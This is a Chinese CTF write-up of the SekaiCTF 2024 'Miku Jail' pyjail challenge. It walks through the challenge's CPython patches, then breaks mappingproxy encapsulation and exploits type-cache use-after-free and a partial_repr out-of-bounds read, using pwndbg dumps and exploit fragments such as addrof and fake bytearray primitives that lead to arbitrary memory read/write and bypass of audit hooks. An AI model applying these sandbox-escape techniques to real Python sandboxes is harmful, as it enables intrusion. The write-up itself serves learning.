2024 sekaiCTF Miku Jail wp
这几天做梦都在打断点调试捋逻辑……
misc?pwn!第一次做pyjail
irs & diff
hook了audit事件,提到了一个dice的题
但dice那题用的是bytearray的uaf,这题直接把free patch了:)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33diff --git a/Modules/_io/bufferedio.c b/Modules/_io/bufferedio.c
index e87d04bd07a..c5f940233ba 100644
--- a/Modules/_io/bufferedio.c
+++ b/Modules/_io/bufferedio.c
@@ -416,7 +416,7 @@ buffered_dealloc(buffered *self)
if (self->weakreflist != NULL)
PyObject_ClearWeakRefs((PyObject *)self);
if (self->buffer) {
- PyMem_Free(self->buffer);
+ //PyMem_Free(self->buffer);
self->buffer = NULL;
}
if (self->lock) {
@@ -566,7 +566,7 @@ _io__Buffered_close_impl(buffered *self)
res = PyObject_CallMethodNoArgs(self->raw, &_Py_ID(close));
if (self->buffer) {
- PyMem_Free(self->buffer);
+ //PyMem_Free(self->buffer);
self->buffer = NULL;
}
@@ -798,8 +798,8 @@ _buffered_init(buffered *self)
"buffer size must be strictly positive");
return -1;
}
- if (self->buffer)
- PyMem_Free(self->buffer);
+ //if (self->buffer)
+ // PyMem_Free(self->buffer);
self->buffer = PyMem_Malloc(self->buffer_size);
if (self->buffer == NULL) {
PyErr_NoMemory();像极了打awd的我……
还禁了类型转换,要求类型必须匹配
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46diff --git a/Objects/bytearrayobject.c b/Objects/bytearrayobject.c
index 07c20ac6316..21d1036e4a9 100644
--- a/Objects/bytearrayobject.c
+++ b/Objects/bytearrayobject.c
@@ -512,6 +512,11 @@ static int
bytearray_setslice(PyByteArrayObject *self, Py_ssize_t lo, Py_ssize_t hi,
PyObject *values)
{
+ if (!PyList_CheckExact(values) && !PyLong_CheckExact(values) && !PyBytes_CheckExact(value
s))
+ {
+ PyErr_SetString(PyExc_TypeError, "nope");
+ return 0;
+ }
Py_ssize_t needed;
void *bytes;
Py_buffer vbytes;
@@ -561,6 +566,11 @@ bytearray_setslice(PyByteArrayObject *self, Py_ssize_t lo, Py_ssize_t hi,
static int
bytearray_setitem(PyByteArrayObject *self, Py_ssize_t i, PyObject *value)
{
+ if (!PyLong_CheckExact(value))
+ {
+ PyErr_SetString(PyExc_TypeError, "no");
+ return -1;
+ }
int ival = -1;
// GH-91153: We need to do this *before* the size check, in case value has a
@@ -590,6 +600,16 @@ bytearray_setitem(PyByteArrayObject *self, Py_ssize_t i, PyObject *value)
static int
bytearray_ass_subscript(PyByteArrayObject *self, PyObject *index, PyObject *values)
{
+ if (!PyList_CheckExact(values) && !PyLong_CheckExact(values))
+ {
+ PyErr_SetString(PyExc_TypeError, "nope");
+ return -1;
+ }
+ if (!PyLong_CheckExact(index))
+ {
+ PyErr_SetString(PyExc_TypeError, "nope");
+ return -1;
+ }
Py_ssize_t start, stop, step, slicelen, needed;
char *buf, *bytes;
buf = PyByteArray_AS_STRING(self);后面一直在想怎么用这个东西,结果其实这个patch的意思是把这玩意ban了o(TヘTo)
1
2
3
4
5
6
7
8
9
10
11diff --git a/Objects/descrobject.c b/Objects/descrobject.c
index a6c90e7ac13..36030ad1caa 100644
--- a/Objects/descrobject.c
+++ b/Objects/descrobject.c
@@ -1210,7 +1210,7 @@ mappingproxy_traverse(PyObject *self, visitproc visit, void *arg)
static PyObject *
mappingproxy_richcompare(mappingproxyobject *v, PyObject *w, int op)
{
- return PyObject_RichCompare(v->mapping, w, op);
+ return PyObject_RichCompare(v, w, op);
}
一些思维路径~
MappingProxyType
首先,为什么要ban mappingproxy_richcompare,这个mappingproxy是什么东西
首先看一个常见的东西,dict字典
1
2
3>>> test_dict = {'test1': 'test1', 'test2': 'test2'}
>>> type(test_dict)
<class 'dict'>mappingproxy和dict类似,也可以基于dict创建
1
2
3
4>>> from types import MappingProxyType
>>> test_mapping = MappingProxyType(test_dict)
>>> type(test_mapping)
<class 'mappingproxy'>但它是只读的,尝试修改会报错
1
2
3
4>>> test_mapping['test1']='test'
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'mappingproxy' object does not support item assignment那这个玩意有什么用呢?对象有一个内置属性__dict__,用于存储对象的属性
class的实例的__dict__是dict类型的,可以修改
1
2
3
4
5
6
7
8
9
10
11
12
13>>> class A():
... def __init__(self):
... self.test1='test1'
... self.test2='test2'
...
>>> a = A()
>>> type(a.__dict__)
<class 'dict'>
>>> a.__dict__
{'test1': 'test1', 'test2': 'test2'}
>>> a.__dict__['test1']='test111'
>>> a.test1
'test111'class本身的__dict__是mappingproxy类型的,不可修改
1
2
3
4
5
6
7
8>>> type(A.__dict__)
<class 'mappingproxy'>
>>> A.__dict__
mappingproxy({'__module__': '__main__', '__init__': <function A.__init__ at 0x7f25181bc540>, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None})
>>> A.__dict__['__module__']='test'
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'mappingproxy' object does not support item assignment使用mappingproxy的__dict__可以禁止修改class的属性
有一个issue可以用实例自定义的__eq__方法修改只读的mappingproxy
1
2
3
4
5
6
7
8# https://bugs.python.org/issue43838
>>> class Sneaky:
... def __eq__(self, other):
... other['real'] = 42
...
>>> int.__dict__ == Sneaky()
>>> (1).real
42mappingproxy的__eq__调用的就是mappingproxy_richcompare函数
1
2
3
4
5static PyObject *
mappingproxy_richcompare(mappingproxyobject *v, PyObject *w, int op)
{
return PyObject_RichCompare(v->mapping, w, op);
}mappingproxy_richcompare会直接使用v->mapping继续向下一层比较
1
2
3
4
5from types import MappingProxyType
test_dict = {'test1': 'test1', 'test2': 'test2'}
test_mapping = MappingProxyType(test_dict)
test_mapping == test_dict这里test_mapping基于test_dict创建,那v->mapping就指向test_dict
PyObject_RichCompare是PyObject通用的__eq__函数,会继续向下一层层比较
这时候mapping指向的原始对象已经没有了mappingproxy的只读wrap
patch不进行mapping的向下比较就会导致一个死循环……
1
return PyObject_RichCompare(v, w, op);
但另一个issue里使用__ror__可以达到相同的效果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15# https://bugs.python.org/issue44596
>>> class SneakyOr:
... def __or__(self, other):
... if other is d:
... raise RuntimeError("Broke encapsulation")
... def __ror__(self, other):
... return self.__or__(other)
...
>>> proxy | SneakyOr()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 6, in __ror__
File "<stdin>", line 4, in __or__
RuntimeError: Broke encapsulation1
2
3
4
5
6
7
8
9
10
11static PyObject *
mappingproxy_or(PyObject *left, PyObject *right)
{
if (PyObject_TypeCheck(left, &PyDictProxy_Type)) {
left = ((mappingproxyobject*)left)->mapping;
}
if (PyObject_TypeCheck(right, &PyDictProxy_Type)) {
right = ((mappingproxyobject*)right)->mapping;
}
return PyNumber_Or(left, right);
}
非法修改,然后呢?
先过一遍部分exp的执行流程吧
1 |
|
大致流程
新建了一个type t,自带一个bytearray a,还有自实现的__ror__和__or__方法
然后进行一个t.__dict__和t()的or
mappingproxyobject的t.__dict__
v->mapping指向一个PyDictObject
t类型的PyObject实例
PyTypeObject的type t
可以发现v->mapping和w->ob_base.ob_type->tp_dict指向同一个PyDictObject
经过一次mappingproxy_or,去除了mappingproxy->mapping的wrap,进行一个dict和t()的or
在__or__中获取a,这时候self是type t的PyObject,other是PyDictObject
这个过程中会将a的ref+1,但由于只是取了a什么都没干,所以之后ref会减回1
之后从other中删除a,这时候other已经是dict了
并且将a的ref-1,这时候a的ref已经是0了,所以调用bytearray_dealloc将a和a->ob_bytes都free了
1
2
3
4
5
6
7
8
9
10
11
12
13static void
bytearray_dealloc(PyByteArrayObject *self)
{
if (self->ob_exports > 0) {
PyErr_SetString(PyExc_SystemError,
"deallocated bytearray object has exported buffers");
PyErr_Print();
}
if (self->ob_bytes != 0) {
PyObject_Free(self->ob_bytes);
}
Py_TYPE(self)->tp_free((PyObject *)self);
}然后又通过self.a(type t的PyObject)获取到了a
…
……
???啊???
看似没有问题实则全是问题……
首先第二次PyObject_GenericGetAttr就不该获取到a,因为a已经从dict中删除了
……看起来确实也是删掉了
delitem_common结尾a的ref确实也减到0了,也确实调用dealloc把a free了……
两次PyObject_GenericGetAttr的参数也是一样的
能想到的就是get a是通过type进行的,del a是通过dict进行的
_PyType_Lookup
那就来看看PyObject_GenericGetAttr是怎么获取a的
- PyObject_GenericGetAttr调用_PyObject_GenericGetAttrWithDict
- _PyObject_GenericGetAttrWithDict大致流程
- 调用_PyType_Lookup从type中尝试获取name
- 尝试从实例中获取name
问题就出在_PyType_Lookup里!!!
_PyType_Lookup的流程
- 先尝试从type_cache中查找name
- 找不到则从type->tp_dict(就是dict)查找
- 将PyObject加入cache
对了,就是这个cache……
- 第一次self.a的时候会将a放进cache,且不会递增a的ref
- 第二次self.a的时候直接从cache中取
终于知道第一个没用的self.a是干嘛的了,就是为了把它放进cache
- 由于dealloc了a但没将a从cache中删掉导致了uaf
- 理论上来说type是不可写的所以cache放进去就不会再取出来了
- 但假定的type的不可写被打破了就出问题了
结论:有些过程是基于不可写的假定进行的,这个假定被打破了就出问题了
几种解法
利用memoryview的index的uaf
先贴exp
exp
1 |
|
调试分析
uaf_backing地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21// uaf_backing
pwndbg> print obj
$2 = (PyObject *) 0x7f94e2c6ed30
pwndbg> print *(PyByteArrayObject*)obj
$3 = {
ob_base = {
ob_base = {
{
ob_refcnt = 1,
ob_refcnt_split = {1, 0}
},
ob_type = 0x5648e03408c0 <PyByteArray_Type>
},
ob_size = 56
},
ob_alloc = 57,
ob_bytes = 0x7f94e2c6f230 "",
ob_start = 0x7f94e2c6f230 "",
ob_exports = 0
}uaf_view地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34// uaf_view
pwndbg> print *(PyMemoryViewObject*)0x7f94e2df9600
$5 = {
ob_base = {
ob_base = {
{
ob_refcnt = 1,
ob_refcnt_split = {1, 0}
},
ob_type = 0x5648e03551c0 <PyMemoryView_Type>
},
ob_size = 3
},
mbuf = 0x7f94e2c7a2c0,
hash = -1,
flags = 6,
exports = 0,
view = {
buf = 0x7f94e2c6f230,
obj = 0x7f94e2c6ed30,
len = 56,
itemsize = 1,
readonly = 0,
ndim = 1,
format = 0x5648e00d2041 "B",
shape = 0x7f94e2df9690,
strides = 0x7f94e2df9698,
suboffsets = 0x0,
internal = 0x0
},
weakreflist = 0x0,
ob_array = {56}
}clear后的uaf_backing,uaf_view->view.buf已被free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// clear
pwndbg> print *(PyByteArrayObject*)0x7f94e2c6ed30
$13 = {
ob_base = {
ob_base = {
{
ob_refcnt = 2,
ob_refcnt_split = {2, 0}
},
ob_type = 0x5648e03408c0 <PyByteArray_Type>
},
ob_size = 0
},
ob_alloc = 1,
ob_bytes = 0x7f94e2e24250 "",
ob_start = 0x7f94e2e24250 "",
ob_exports = 0
}新的PyByteArrayObject,被赋值给了w.memory_backing
- 和uaf_view->view.buf使用同一块内存
- 由于bytearray()没有参数所以ob_size为0且不分配ob_bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// w.memory_backing
pwndbg> print *(PyByteArrayObject*)0x7f94e2c6f230
$17 = {
ob_base = {
ob_base = {
{
ob_refcnt = 1,
ob_refcnt_split = {1, 0}
},
ob_type = 0x5648e03408c0 <PyByteArray_Type>
},
ob_size = 0
},
ob_alloc = 0,
ob_bytes = 0x0,
ob_start = 0x0,
ob_exports = 0
}向原先的uaf_view->view.buf[0x17]中写入0x7f,w.memory_backing的ob_size被修改为极大值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19// new
pwndbg> print *(PyByteArrayObject*)0x7f94e2c6f230
$28 = {
ob_base = {
ob_base = {
{
ob_refcnt = 1,
ob_refcnt_split = {1, 0}
},
ob_type = 0x5648e03408c0 <PyByteArray_Type>
},
ob_size = 9151314442816847872 // 0x7f00000000000000
},
ob_alloc = 0,
ob_bytes = 0x0,
ob_start = 0x0,
ob_exports = 0
}改_PyRuntime.audit_hooks
利用mappingproxy_or的uaf
exp
1 |
|
调试分析
触发uaf之后
1
2
3
4
5t = type('', (), {'a': bytearray(0x40), '__ror__': rorfn, '__or__': orfn})
a, b = t.__dict__ | t()
# (PyByteArrayObject *) a->ob_bytes and
# (PyListObject *) b->ob_item now share the same memoryaddrof
1
2
3def addrof(obj):
b[0] = obj
return a[0]fake_bytearray
1
2
3
4
5
6
7
8def fake_bytearray(addr, size):
m = wrap(bytearray(0x100))
m[0] = 3 # refcnt
m[1] = addrof(bytearray)
m[2] = size
m[5] = addr
x = m.tobytes()
a[0] = addrof(x) + 32
利用partial_repr的index越界
exp
1 |
|
调试分析
repr用于返回一个对象的“官方”字符串表示形式,自定义对象可以定义__repr__自定义实现
functools.partial可用于包装函数
1
2
3
4
5
6from functools import partial
def fa(a, b, c):
return a + b + c
p = partial(fa, 4)partial的repr由partial_repr函数实现,有这么一部分
1
2
3
4
5
6
7
8assert (PyTuple_Check(pto->args));
n = PyTuple_GET_SIZE(pto->args);
for (i = 0; i < n; i++) {
Py_SETREF(arglist, PyUnicode_FromFormat("%U, %R", arglist,
PyTuple_GET_ITEM(pto->args, i)));
if (arglist == NULL)
goto done;
}- 遍历pto->args元组,获取其中的PyObject
- PyUnicode_FromFormat会递归调用pto->args[i]的__repr__
如果此时修改pto->args,改为一个更小的元组就会造成index越界
先利用bytearray_mem伪造一个PyByteArrayObject
再利用Fake_mem伪造一个Fake PyObject
class Fake的value属性是__slots__的
1
2
3
4
5class Fake:
__slots__ = ["value"]
def __repr__(self):
raise Exception(memoryview(self.value))这个属性直接存储在PyObject之后
functools.partial的__repr__使用partial_repr实现,__setstate__使用partial_setstate实现
首先将args填满class WeirdRepr,大小为119
1
p.__setstate__((id, (WeirdRepr(),) * length, {}, {}))
repr(p)时会调用WeirdRepr.__repr__,将args改为大小54的元组
1
2
3
4
5
6
7
8
9def make_pair():
fill = bytes((length // 2) * tuple.__itemsize__)
r = range((length // 2) - 5)
# ……
t = tuple(r)
b = bytearray(fill)
return t, b元组内容为PyLongObject 1 2 3 4……
这个元组之后跟的就是PyByteArrayObject的buf
这部分内存之后被填满了指向Fake_mem的指针
1
2
3
4
5
6
7
8
9
10
11
12
13class WeirdRepr:
def __repr__(self):
global b
t, b = make_pair()
p.__setstate__((id, t, {}, {}))
mem = memoryview(b).cast("P")
for i in range(len(mem)):
mem[i] = (
int(f"{Fake_mem.__add__}".split("0x")[1][:-1], 16)
+ bytes.__basicsize__
- 1
)
return "Wack"
再回到partial_repr,此时args已被修改,越界对Fake调用__repr__
1
2
3
4
5class Fake:
__slots__ = ["value"]
def __repr__(self):
raise Exception(memoryview(self.value))Fake.value经过伪造指向fake bytearray,通过try expect就获取到了这个ob_size为0x7fffffffffffffff的PyByteArrayObject,可以对内存进行任意读写
1
2
3
4try:
repr(p)
except Exception as e:
mem = e.args[0]